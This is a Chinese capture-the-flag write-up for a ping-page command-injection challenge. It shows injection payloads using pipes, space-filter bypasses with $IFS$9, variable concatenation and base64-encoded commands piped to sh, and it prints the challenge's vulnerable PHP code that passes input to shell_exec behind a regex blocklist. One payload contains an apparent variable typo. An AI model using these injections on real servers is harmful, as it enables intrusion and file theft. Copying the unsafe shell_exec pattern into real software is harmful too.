- 观察页面
看到页面上没有什么输入点,只有一个/?Ip,题目又是ping,可能是ping地址,尝试把页面上的格式输入,再随便写一个地址,如/?ip=210.0.0.1
这与cmd中ping测试相似,但是真的ping是ping不通的,搜ip是有的,应该是一个开了禁ping的,方向应该是正确的。而且应该是假ping。
2.找文件
可以利用拼接命令,在/?ip=210.0.0.1后面用拼接符与查看命令连接起来
& 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &
&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo ‘2’
| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l
|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”
; 分号表示命令依次执行。
尝试输入:/?Ip=210.0.0.1&&ls (ls:查找文件)
发现没有任何新的回显,应该是因为前面是假ping,所以后面的命令不执行
尝试输入:/?ip=210.0.0.1|ls,发现有新的回显,显示出了两个文件
3.显示文件内容
输入:/?Ip=210.0.0.1|cat flag.php
显示不要输入空格,空格应该是被过滤了
4.空格绕过
输入:/?Ip=210.0.0.1|cat${IFS}flag.php
{}被过滤了
发现$IFS$9可以,但是提示flag被过滤了
发现flag也被过滤了
5.查看index.php
flag看不到什么内容,想到还有一个Index.php,可以再去查看一下这个文件
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
直接读取flag.php不行,只能通过绕过正则的方法来查看flag,php
6.读取flag.php
法一:变量拼接字符串
使用变量拼接字符串,比如这样:
a=j;b=xt;echo $b$a
输出结果是:xtj
因此我们可以用这个方法拼接一个flag.php出来,再读取。
尝试输入 /?Ip=210.0.0.1;b=ag.php;b=fl;cat$IFS$9$a$b
flag.php反过来写的原因是,flag中间有内容的话也会被匹配到
没有回显,尝试下一种方法
法二:使用 base64 编码的方式来绕过 flag 过滤。
加密:echo “cat flag.php” | base64
解密:echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
尝试输入:
/?ip=210.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
还是没有回显,这时候有些疑问,选择查看一下源代码,看看是否会在注释里